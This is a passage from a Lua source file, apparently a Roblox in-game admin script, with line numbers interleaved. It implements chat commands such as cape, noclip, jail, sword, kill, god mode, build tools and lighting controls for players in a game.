for i, v in pairs(lobjs) do v:Destroy() end
463
for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
464
end
465
 
466
if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
467
coroutine.resume(coroutine.create(function()
468
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
469
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
470
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
471
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
472
end))
473
end
474
 
475
if msg:lower():sub(1,2) == "m " then
476
Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
477
end
478
 
479
if msg:lower():sub(1,2) == "h " then
480
Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
481
end
482
 
483
if msg:lower():sub(1,3) == "pm " then
484
local chk1 = msg:lower():sub(4):find(" ") + 3
485
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
486
Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
487
end
488
 
489
if msg:lower():sub(1,11) == "resetstats " then
490
local plrz = GetPlr(plr, msg:lower():sub(12))
491
for i, v in pairs(plrz) do
492
coroutine.resume(coroutine.create(function()
493
if v and v:findFirstChild("leaderstats") then
494
for a, q in pairs(v.leaderstats:children()) do
495
if q:IsA("IntValue") then q.Value = 0 end
496
end
497
end
498
end))
499
end
500
end
501
 
502
if msg:lower():sub(1,5) == "gear " then
503
local chk1 = msg:lower():sub(6):find(" ") + 5
504
local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
505
for i, v in pairs(plrz) do
506
coroutine.resume(coroutine.create(function()
507
if v and v.Character then
508
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
509
for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Character end end
510
obj:Destroy()
511
end
512
end))
513
end
514
end
515
 
516
if msg:lower():sub(1,4) == "hat " then
517
local chk1 = msg:lower():sub(5):find(" ") + 4
518
local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
519
for i, v in pairs(plrz) do
520
coroutine.resume(coroutine.create(function()
521
if v and v.Character then
522
local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
523
for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
524
obj:Destroy()
525
end
526
end))
527
end
528
end
529
 
530
if msg:lower():sub(1,5) == "cape " then
531
local chk1 = msg:lower():sub(6):find(" ")
532
local plrz = GetPlr(plr, msg:lower():sub(6))
533
local str = "torso.BrickColor"
534
if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
535
local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
536
if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
537
if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
538
if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
539
if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
540
if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
541
if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
542
if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
543
if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
544
if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
545
if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
546
if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
547
if BrickColor.new(teststr) ~= nil then str = teststr end
548
end
549
for i, v in pairs(plrz) do
550
coroutine.resume(coroutine.create(function()
551
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
552
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
553
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
554
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
555
local torso = plr.Character.Torso
556
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
557
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
558
p.Size = Vector3.new(.2,.2,.2)
559
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
560
local motor1 = Instance.new("Motor", p)
561
motor1.Part0 = p
562
motor1.Part1 = torso
563
motor1.MaxVelocity = .01
564
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
565
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
566
local wave = false
567
repeat wait(1/44)
568
local ang = 0.1
569
local oldmag = torso.Velocity.magnitude
570
local mv = .002
571
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
572
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
573
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
574
motor1.DesiredAngle = -ang
575
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
576
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
577
if torso.Velocity.magnitude < .1 then wait(.1) end
578
until not p or p.Parent ~= torso.Parent
579
script:Destroy()
580
]] cl.Parent = v.PlayerGui cl.Disabled = false
581
end
582
end))
583
end
584
end
585
 
586
if msg:lower():sub(1,7) == "uncape " then
587
local plrz = GetPlr(plr, msg:lower():sub(8))
588
for i, v in pairs(plrz) do
589
coroutine.resume(coroutine.create(function()
590
if v and v:findFirstChild("PlayerGui") and v.Character then
591
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
592
end
593
end))
594
end
595
end
596
 
597
if msg:lower():sub(1,7) == "noclip " then
598
local plrz = GetPlr(plr, msg:lower():sub(8))
599
for i, v in pairs(plrz) do
600
coroutine.resume(coroutine.create(function()
601
if v and v:findFirstChild("PlayerGui") then
602
local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
603
cl.Parent = v.PlayerGui cl.Disabled = false
604
end
605
end))
606
end
607
end
608
 
609
if msg:lower():sub(1,5) == "clip " then
610
local plrz = GetPlr(plr, msg:lower():sub(6))
611
for i, v in pairs(plrz) do
612
coroutine.resume(coroutine.create(function()
613
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
614
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
615
v.Character.Torso.Anchored = false
616
wait(.1) v.Character.Humanoid.PlatformStand = false
617
end
618
end))
619
end
620
end
621
 
622
if msg:lower():sub(1,5) == "jail " then
623
local plrz = GetPlr(plr, msg:lower():sub(6))
624
for i, v in pairs(plrz) do
625
coroutine.resume(coroutine.create(function()
626
if v and v.Character and v.Character:findFirstChild("Torso") then
627
local vname = v.Name
628
local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
629
local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
630
local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
631
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
632
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
633
game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
634
v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
635
v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
636
end)
637
local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
638
local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
639
local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
640
local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
641
local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
642
local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
643
local msh2 = msh:Clone() msh2.Parent = back
644
local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
645
local msh4 = msh3:Clone() msh4.Parent = left
646
v.Character.Torso.CFrame = cf
647
end
648
end))
649
end
650
end
651
 
652
if msg:lower():sub(1,7) == "unjail " then
653
local plrz = GetPlr(plr, msg:lower():sub(8))
654
for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
655
end
656
 
657
if msg:lower():sub(1,11) == "starttools " then
658
local plrz = GetPlr(plr, msg:lower():sub(12))
659
for i, v in pairs(plrz) do
660
coroutine.resume(coroutine.create(function()
661
if v and v:findFirstChild("Backpack") then
662
for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
663
end
664
end))
665
end
666
end
667
 
668
if msg:lower():sub(1,6) == "sword " then
669
local plrz = GetPlr(plr, msg:lower():sub(7))
670
for i, v in pairs(plrz) do
671
coroutine.resume(coroutine.create(function()
672
if v and v:findFirstChild("Backpack") then
673
local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword"  sword.TextureId = "rbxasset://Textures/Sword128.png"
674
sword.GripForward = Vector3.new(-1,0,0)
675
sword.GripPos = Vector3.new(0,0,-1.5)
676
sword.GripRight = Vector3.new(0,1,0)
677
sword.GripUp = Vector3.new(0,0,1)
678
local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
679
local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
680
local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
681
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
682
local Damage = 15
683
local SlashSound = Instance.new("Sound", script.Parent.Handle)
684
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
685
SlashSound.Volume = 1
686
local LungeSound = Instance.new("Sound", script.Parent.Handle)
687
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
688
LungeSound.Volume = 1
689
local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
690
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
691
UnsheathSound.Volume = 1
692
local last = 0
693
script.Parent.Handle.Touched:connect(function(hit)
694
if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
695
local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
696
hit.Parent.Humanoid:TakeDamage(Damage)
697
end
698
end)
699
script.Parent.Activated:connect(function()
700
if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
701
script.Parent.Enabled = false
702
local tick = game:service("RunService").Stepped:wait()
703
if tick - last <= .2 then
704
LungeSound:play()
705
local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
706
local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
707
wait(.2)
708
script.Parent.GripForward = Vector3.new(0,0,1)
709
script.Parent.GripRight = Vector3.new(0,-1,0)
710
script.Parent.GripUp = Vector3.new(-1,0,0)
711
wait(.3)
712
frc:Destroy() wait(.5)
713
script.Parent.GripForward = Vector3.new(-1,0,0)
714
script.Parent.GripRight = Vector3.new(0,1,0)
715
script.Parent.GripUp = Vector3.new(0,0,1)
716
else
717
SlashSound:play()
718
local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
719
end
720
last = tick
721
script.Parent.Enabled = true
722
end)
723
script.Parent.Equipped:connect(function(mouse)
724
for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
725
UnsheathSound:play()
726
script.Parent.Enabled = true
727
if not mouse then return end
728
mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
729
end)]] cl.Disabled = false
730
end
731
end))
732
end
733
end
734
 
735
if msg:lower():sub(1,5) == "kill " then
736
local plrz = GetPlr(plr, msg:lower():sub(6))
737
for i, v in pairs(plrz) do
738
coroutine.resume(coroutine.create(function()
739
if v and v.Character then v.Character:BreakJoints() end
740
end))
741
end
742
end
743
 
744
if msg:lower():sub(1,8) == "respawn " then
745
local plrz = GetPlr(plr, msg:lower():sub(9))
746
for i, v in pairs(plrz) do
747
coroutine.resume(coroutine.create(function()
748
if v and v.Character then v:LoadCharacter() end
749
end))
750
end
751
end
752
 
753
if msg:lower():sub(1,5) == "trip " then
754
local plrz = GetPlr(plr, msg:lower():sub(6))
755
for i, v in pairs(plrz) do
756
coroutine.resume(coroutine.create(function()
757
if v and v.Character and v.Character:findFirstChild("Torso") then
758
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
759
end
760
end))
761
end
762
end
763
 
764
if msg:lower():sub(1,5) == "stun " then
765
local plrz = GetPlr(plr, msg:lower():sub(6))
766
for i, v in pairs(plrz) do
767
coroutine.resume(coroutine.create(function()
768
if v and v.Character and v.Character:findFirstChild("Humanoid") then
769
v.Character.Humanoid.PlatformStand = true
770
end
771
end))
772
end
773
end
774
 
775
if msg:lower():sub(1,7) == "unstun " then
776
local plrz = GetPlr(plr, msg:lower():sub(8))
777
for i, v in pairs(plrz) do
778
coroutine.resume(coroutine.create(function()
779
if v and v.Character and v.Character:findFirstChild("Humanoid") then
780
v.Character.Humanoid.PlatformStand = false
781
end
782
end))
783
end
784
end
785
 
786
if msg:lower():sub(1,5) == "jump " then
787
local plrz = GetPlr(plr, msg:lower():sub(6))
788
for i, v in pairs(plrz) do
789
coroutine.resume(coroutine.create(function()
790
if v and v.Character and v.Character:findFirstChild("Humanoid") then
791
v.Character.Humanoid.Jump = true
792
end
793
end))
794
end
795
end
796
 
797
if msg:lower():sub(1,4) == "sit " then
798
local plrz = GetPlr(plr, msg:lower():sub(5))
799
for i, v in pairs(plrz) do
800
coroutine.resume(coroutine.create(function()
801
if v and v.Character and v.Character:findFirstChild("Humanoid") then
802
v.Character.Humanoid.Sit = true
803
end
804
end))
805
end
806
end
807
 
808
if msg:lower():sub(1,10) == "invisible " then
809
local plrz = GetPlr(plr, msg:lower():sub(11))
810
for i, v in pairs(plrz) do
811
coroutine.resume(coroutine.create(function()
812
if v and v.Character then
813
for a, obj in pairs(v.Character:children()) do
814
if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
815
end
816
end
817
end))
818
end
819
end
820
 
821
if msg:lower():sub(1,8) == "visible " then
822
local plrz = GetPlr(plr, msg:lower():sub(9))
823
for i, v in pairs(plrz) do
824
coroutine.resume(coroutine.create(function()
825
if v and v.Character then
826
for a, obj in pairs(v.Character:children()) do
827
if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
828
end
829
end
830
end))
831
end
832
end
833
 
834
if msg:lower():sub(1,5) == "lock " then
835
local plrz = GetPlr(plr, msg:lower():sub(6))
836
for i, v in pairs(plrz) do
837
coroutine.resume(coroutine.create(function()
838
if v and v.Character then
839
for a, obj in pairs(v.Character:children()) do
840
if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
841
end
842
end
843
end))
844
end
845
end
846
 
847
if msg:lower():sub(1,7) == "unlock " then
848
local plrz = GetPlr(plr, msg:lower():sub(8))
849
for i, v in pairs(plrz) do
850
coroutine.resume(coroutine.create(function()
851
if v and v.Character then
852
for a, obj in pairs(v.Character:children()) do
853
if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
854
end
855
end
856
end))
857
end
858
end
859
 
860
if msg:lower():sub(1,8) == "explode " then
861
local plrz = GetPlr(plr, msg:lower():sub(9))
862
for i, v in pairs(plrz) do
863
coroutine.resume(coroutine.create(function()
864
if v and v.Character and v.Character:findFirstChild("Torso") then
865
local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
866
end
867
end))
868
end
869
end
870
 
871
if msg:lower():sub(1,4) == "age " then
872
local plrz = GetPlr(plr, msg:lower():sub(5))
873
for i, v in pairs(plrz) do
874
coroutine.resume(coroutine.create(function()
875
if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
876
end))
877
end
878
end
879
 
880
if msg:lower():sub(1,5) == "fire " then
881
local plrz = GetPlr(plr, msg:lower():sub(6))
882
for i, v in pairs(plrz) do
883
coroutine.resume(coroutine.create(function()
884
if v and v.Character and v.Character:findFirstChild("Torso") then
885
local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
886
end
887
end))
888
end
889
end
890
 
891
if msg:lower():sub(1,7) == "unfire " then
892
local plrz = GetPlr(plr, msg:lower():sub(8))
893
for i, v in pairs(plrz) do
894
coroutine.resume(coroutine.create(function()
895
if v and v.Character and v.Character:findFirstChild("Torso") then
896
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
897
end
898
end))
899
end
900
end
901
 
902
if msg:lower():sub(1,6) == "smoke " then
903
local plrz = GetPlr(plr, msg:lower():sub(7))
904
for i, v in pairs(plrz) do
905
coroutine.resume(coroutine.create(function()
906
if v and v.Character and v.Character:findFirstChild("Torso") then
907
local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
908
end
909
end))
910
end
911
end
912
 
913
if msg:lower():sub(1,8) == "unsmoke " then
914
local plrz = GetPlr(plr, msg:lower():sub(9))
915
for i, v in pairs(plrz) do
916
coroutine.resume(coroutine.create(function()
917
if v and v.Character and v.Character:findFirstChild("Torso") then
918
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
919
end
920
end))
921
end
922
end
923
 
924
if msg:lower():sub(1,9) == "sparkles " then
925
local plrz = GetPlr(plr, msg:lower():sub(10))
926
for i, v in pairs(plrz) do
927
coroutine.resume(coroutine.create(function()
928
if v and v.Character and v.Character:findFirstChild("Torso") then
929
local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
930
end
931
end))
932
end
933
end
934
 
935
if msg:lower():sub(1,11) == "unsparkles " then
936
local plrz = GetPlr(plr, msg:lower():sub(12))
937
for i, v in pairs(plrz) do
938
coroutine.resume(coroutine.create(function()
939
if v and v.Character and v.Character:findFirstChild("Torso") then
940
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
941
end
942
end))
943
end
944
end
945
 
946
if msg:lower():sub(1,3) == "ff " then
947
local plrz = GetPlr(plr, msg:lower():sub(4))
948
for i, v in pairs(plrz) do
949
coroutine.resume(coroutine.create(function()
950
if v and v.Character then Instance.new("ForceField", v.Character) end
951
end))
952
end
953
end
954
 
955
if msg:lower():sub(1,5) == "unff " then
956
local plrz = GetPlr(plr, msg:lower():sub(6))
957
for i, v in pairs(plrz) do
958
coroutine.resume(coroutine.create(function()
959
if v and v.Character then
960
for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
961
end
962
end))
963
end
964
end
965
 
966
if msg:lower():sub(1,7) == "punish " then
967
local plrz = GetPlr(plr, msg:lower():sub(8))
968
for i, v in pairs(plrz) do
969
coroutine.resume(coroutine.create(function()
970
if v and v.Character then
971
v.Character.Parent = game:service("Lighting")
972
end
973
end))
974
end
975
end
976
 
977
if msg:lower():sub(1,9) == "unpunish " then
978
local plrz = GetPlr(plr, msg:lower():sub(10))
979
for i, v in pairs(plrz) do
980
coroutine.resume(coroutine.create(function()
981
if v and v.Character then
982
v.Character.Parent = game:service("Workspace")
983
v.Character:MakeJoints()
984
end
985
end))
986
end
987
end
988
 
989
if msg:lower():sub(1,7) == "freeze " then
990
local plrz = GetPlr(plr, msg:lower():sub(8))
991
for i, v in pairs(plrz) do
992
coroutine.resume(coroutine.create(function()
993
if v and v.Character and v.Character:findFirstChild("Humanoid") then
994
for a, obj in pairs(v.Character:children()) do
995
if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
996
end
997
end
998
end))
999
end
1000
end
1001
 
1002
if msg:lower():sub(1,5) == "thaw " then
1003
local plrz = GetPlr(plr, msg:lower():sub(6))
1004
for i, v in pairs(plrz) do
1005
coroutine.resume(coroutine.create(function()
1006
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1007
for a, obj in pairs(v.Character:children()) do
1008
if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
1009
end
1010
end
1011
end))
1012
end
1013
end
1014
 
1015
if msg:lower():sub(1,5) == "heal " then
1016
local plrz = GetPlr(plr, msg:lower():sub(6))
1017
for i, v in pairs(plrz) do
1018
coroutine.resume(coroutine.create(function()
1019
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1020
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1021
end
1022
end))
1023
end
1024
end
1025
 
1026
if msg:lower():sub(1,4) == "god " then
1027
local plrz = GetPlr(plr, msg:lower():sub(5))
1028
for i, v in pairs(plrz) do
1029
coroutine.resume(coroutine.create(function()
1030
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1031
v.Character.Humanoid.MaxHealth = math.huge
1032
v.Character.Humanoid.Health = 9e9
1033
end
1034
end))
1035
end
1036
end
1037
 
1038
if msg:lower():sub(1,6) == "ungod " then
1039
local plrz = GetPlr(plr, msg:lower():sub(7))
1040
for i, v in pairs(plrz) do
1041
coroutine.resume(coroutine.create(function()
1042
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1043
v.Character.Humanoid.MaxHealth = 100
1044
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1045
end
1046
end))
1047
end
1048
end
1049
 
1050
if msg:lower():sub(1,8) == "ambient " then
1051
local chk1 = msg:lower():sub(9):find(" ") + 8
1052
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1053
game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1054
end
1055
 
1056
if msg:lower():sub(1,11) == "brightness " then
1057
game.Lighting.Brightness = msg:sub(12)
1058
end
1059
 
1060
if msg:lower():sub(1,5) == "time " then
1061
game.Lighting.TimeOfDay = msg:sub(6)
1062
end
1063
 
1064
if msg:lower():sub(1,9) == "fogcolor " then
1065
local chk1 = msg:lower():sub(10):find(" ") + 9
1066
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1067
game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1068
end
1069
 
1070
if msg:lower():sub(1,7) == "fogend " then
1071
game.Lighting.FogEnd = msg:sub(8)
1072
end
1073
 
1074
if msg:lower():sub(1,9) == "fogstart " then
1075
game.Lighting.FogStart = msg:sub(10)
1076
end
1077
 
1078
if msg:lower():sub(1,7) == "btools " then
1079
local plrz = GetPlr(plr, msg:lower():sub(8))
1080
for i, v in pairs(plrz) do
1081
coroutine.resume(coroutine.create(function()
1082
if v and v:findFirstChild("Backpack") then
1083
local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
1084
local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
1085
local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
1086
local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
1087
local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
1088
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
1089
local sb
1090
local hs
1091
local pdist
1092
 
1093
script.Parent.Selected:connect(function(mouse)
1094
if not mouse then return end
1095
sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
1096
hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
1097
mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
1098
hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
1099
hs.MouseButton1Down:connect(function() pdist = 0 end)
1100
end)
1101
 
1102
script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
1103
end
1104
end))
1105
end
1106
end
1107
 
1108
if msg:lower():sub(1,5) == "give " then
1109
local chk1 = msg:lower():sub(6):find(" ") + 5
1110
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1111
for i, v in pairs(plrz) do
1112
coroutine.resume(coroutine.create(function()
1113
if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
1114
